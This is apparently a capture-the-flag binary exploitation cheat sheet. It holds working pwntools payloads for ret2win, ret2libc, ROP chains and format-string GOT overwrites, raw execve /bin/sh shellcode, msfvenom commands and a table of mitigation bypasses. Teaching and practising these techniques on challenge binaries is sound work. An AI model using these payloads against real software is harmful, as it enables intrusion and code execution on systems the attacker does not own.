binary::exploitation

pwn stack · ROP shellcode
ReconBuffer OverflowROP Format StringHeapShellcode pwntoolsMitigations
01Recon
checksec — know your mitigations
checksec ./challenge
# Output example:
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found    ← easier BOF
# NX:       NX enabled         ← no shellcode on stack
# PIE:      No PIE             ← fixed addresses
# RUNPATH:  ./

# No canary + No PIE + No NX → classic ret2win
# No canary + No PIE + NX   → ROP chain
# PIE enabled               → need leak first
# Full RELRO                → can't overwrite GOT
Find offset to return address
# Generate cyclic pattern (pwndbg / pwntools)
cyclic 200
# Run program with pattern, crash it
# pwndbg shows: "SIGSEGV: Invalid address 0x6161616e"
cyclic -l 0x6161616e   # → offset = N

# Or: use GDB + pwntools
python3 -c "
from pwn import cyclic, cyclic_find
payload = cyclic(200)
# run, get crash address, then:
print(cyclic_find(0x6161616e))
"

# Manual: fill with A's until crash, binary search
python3 -c "print('A'*200)" | ./challenge
02Buffer Overflow
ret2win (no NX, no PIE)
# Find win/flag function address
nm challenge | grep "win\|flag\|shell"
objdump -d challenge | grep -A2 "<win>"

# Build payload
python3 -c "
from pwn import *
offset = 40          # from cyclic_find
win_addr = 0x401234  # from nm/objdump

payload = b'A' * offset
payload += p64(win_addr)  # 64-bit
# payload += p32(win_addr)  # 32-bit

p = process('./challenge')
p.sendline(payload)
p.interactive()
"
ret2libc (NX enabled)
# Need: libc base, system(), /bin/sh string
# Step 1: leak libc address via puts(got[puts])
# Step 2: calculate libc base
# Step 3: call system("/bin/sh")

python3 -c "
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')  # or find version
rop = ROP(elf)

# Leak step
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

payload  = b'A' * offset
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)  # return to main for round 2

p = process('./challenge')
p.sendline(payload)
p.recvuntil(b'\n')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
# Round 2: send system('/bin/sh')
"
03ROP Chains
Find gadgets
# ROPgadget
ROPgadget --binary challenge
ROPgadget --binary challenge --rop
ROPgadget --binary challenge | grep "pop rdi"
ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"

# ropper
ropper -f challenge
ropper -f challenge --search "pop rdi"

# pwntools ROP (auto-chain)
python3 -c "
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
print(rop.dump())
print(rop.chain())
"
Common gadgets needed
GadgetPurpose
pop rdi ; retSet arg1 (x86-64 calling convention)
pop rsi ; retSet arg2
pop rdx ; retSet arg3
retStack alignment (needed before system())
pop rbp ; retLeave/enter stack frame
syscallFor raw syscall ROP chains
mov [rdi], rsiWrite memory
# x86-64 syscall numbers
# 0  = read,  1 = write
# 2  = open,  59 = execve
# execve("/bin/sh",0,0): rax=59, rdi=ptr, rsi=0, rdx=0
04Format String
Read & write primitives
# Detect: program echoes your input
# Input: "%x %x %x" → prints stack values → vulnerable

# Leak stack values (find offset to canary/addr)
%1$p %2$p %3$p %4$p ...    # direct arg access
AAAA.%p.%p.%p.%p.%p.%p    # find offset of 0x41414141

# Leak specific offset (e.g. canary at offset 11)
%11$p

# Arbitrary read (leak address at ptr)
python3 -c "
from pwn import *
payload = p64(target_addr) + b'%8$s'  # 32: p32 + %7$s
"

# Arbitrary write — %n writes count of chars printed
# Write 0x41 to address: print 0x41 chars, then %n
python3 -c "
from pwn import *
# fmtstr_payload(offset, {addr: value})
payload = fmtstr_payload(6, {target: 0x1337})
"
Overwrite GOT / return address
# Classic: overwrite GOT entry of printf → system
# Then next printf("/bin/sh") calls system
python3 -c "
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')  # for system addr

# Get addresses
printf_got = elf.got['printf']
system_addr = libc.sym['system']  # after leak

# Write system addr over printf GOT
payload = fmtstr_payload(offset, {printf_got: system_addr})
"

# Find format string offset quickly
python3 -c "
from pwn import *
p = process('./challenge')
for i in range(1, 30):
    p.sendline(f'AAAA.%{i}\$x'.encode())
    r = p.recvline()
    if b'41414141' in r:
        print(f'offset = {i}')
        break
"
05Heap Basics
Heap vulnerability patterns
VulnPrimitiveAttack
Use-after-freeRead/write freed chunkTcache/fastbin poisoning
Heap overflowWrite past chunk boundaryCorrupt next chunk metadata
Double freeFree same chunk twiceTcache/fastbin dup
Off-by-oneWrite 1 byte past endModify next chunk size
Null byte poisonWrite null past endConsolidate chunks
Heap GDB commands (pwndbg)
heap                    # show all heap chunks
bins                    # show all freelist bins
vis_heap_chunks         # visual heap layout
arena                   # main arena info
malloc_chunk addr       # parse chunk at addr
find_fake_fast addr     # find fake fastbin chunk

# Tcache (glibc >= 2.26) — 7 chunks per bin
# Protected by key in fd (glibc >= 2.32)
# Safe-linking: ptr ^ (addr >> 12)
06Shellcode
Generate shellcode
# pwntools shellcraft
python3 -c "
from pwn import *
context(arch='amd64', os='linux')
sc = shellcraft.sh()         # /bin/sh
sc = shellcraft.cat('/flag')  # read file
print(asm(sc).hex())
"

# msfvenom
msfvenom -p linux/x64/exec CMD=/bin/sh -f raw > sc.bin
msfvenom -p linux/x64/exec CMD="cat /flag" -f python

# Manual x86-64 execve /bin/sh
python3 -c "
sc = (
    b'\x48\x31\xf6'         # xor rsi, rsi
    b'\x56'                  # push rsi
    b'\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'  # mov rdi,'/bin//sh'
    b'\x57'                  # push rdi
    b'\x54\x5f'              # push rsp; pop rdi
    b'\x6a\x3b\x58'          # push 59; pop rax
    b'\x99'                  # cdq (rdx=0)
    b'\x0f\x05'              # syscall
)
print(sc.hex())
"
Shellcode constraints
ConstraintBypass
No null bytesUse XOR reg,reg instead of mov reg,0
Alphanumeric onlyEncoder (metasploit alpha_mixed)
Limited lengthStage 2: read() more shellcode
No NX (writable+exec)JIT spray, mprotect trick
Filtered charsPolymorphic encoding
# Check shellcode for bad bytes
python3 -c "
sc = bytes.fromhex('...')
bad = [b for b in sc if b == 0]
print('null bytes at:', [i for i,b in enumerate(sc) if b==0])
"
07pwntools Essentials
Core API
from pwn import *

# Process / remote
p = process('./challenge')
p = remote('host', 1337)

# Send
p.send(payload)          # no newline
p.sendline(payload)      # adds \n
p.sendafter(b'> ', data)

# Receive
p.recv(n)               # n bytes
p.recvline()            # until \n
p.recvuntil(b'> ')      # until string
p.recvall()             # all output
p.interactive()         # manual shell

# Pack integers
p64(0xdeadbeef)         # little-endian 64-bit
p32(0xdeadbeef)         # 32-bit
u64(b'\xef\xbe\xad...')  # unpack
ELF, ROP, libc
# ELF introspection
elf = ELF('./challenge')
elf.sym['main']          # symbol address
elf.plt['puts']          # PLT entry
elf.got['puts']          # GOT entry
elf.search(b'/bin/sh')    # find bytes
next(elf.search(b'/bin/sh'))

# ROP
rop = ROP(elf)
rop.find_gadget(['pop rdi', 'ret'])[0]
rop.call('puts', [elf.got['puts']])
rop.chain()               # bytes

# libc database
context.binary = elf
libc = ELF('./libc.so.6')
libc.address = leak - libc.sym['puts']
system = libc.sym['system']
binsh  = next(libc.search(b'/bin/sh'))
GDB integration
# Attach gdb on process start
p = gdb.debug('./challenge', '''
break main
continue
''')

# Attach to running process
gdb.attach(p, 'break *0x401234')

# Context settings
context.log_level = 'debug'   # verbose
context.arch = 'amd64'
context.os   = 'linux'

# libc version finder
# https://libc.rip — paste leaked addresses
08Mitigations Bypass
Mitigation reference
MitigationWhat it doesBypass
NX / DEPStack/heap not executableROP chains, ret2libc, ret2plt
Stack CanaryRandom value before return addrLeak canary via format string, brute force (fork)
ASLRRandomize memory layoutLeak address, brute (32-bit), ret2plt
PIERandomize binary base addressLeak binary addr, then calculate offsets
Full RELROGOT read-only after initCan't overwrite GOT; target stack/hook instead
Partial RELROGOT writableOverwrite GOT entries (classic fmt string attack)
FORTIFYSafer versions of strcpy etc.Use non-fortified functions or raw memory ops
Shadow StackParallel copy of return addrsVery hard; avoid ret addr overwrite entirely
PWN CHECKLIST →  ① checksec — know mitigations  ② file + strings — architecture + interesting strings  ③ Find overflow offset: cyclic 200 → crash → cyclic -l addr  ④ No PIE + No canary + No NX → ret2win  ⑤ NX enabled → ROP: find pop rdi ; ret, build chain  ⑥ PIE → need leak → format string or info leak gadget  ⑦ %p.%p.%p → format string → leak stack → fmtstr_payload write GOT  ⑧ Use libc.rip to identify libc version from leaked addresses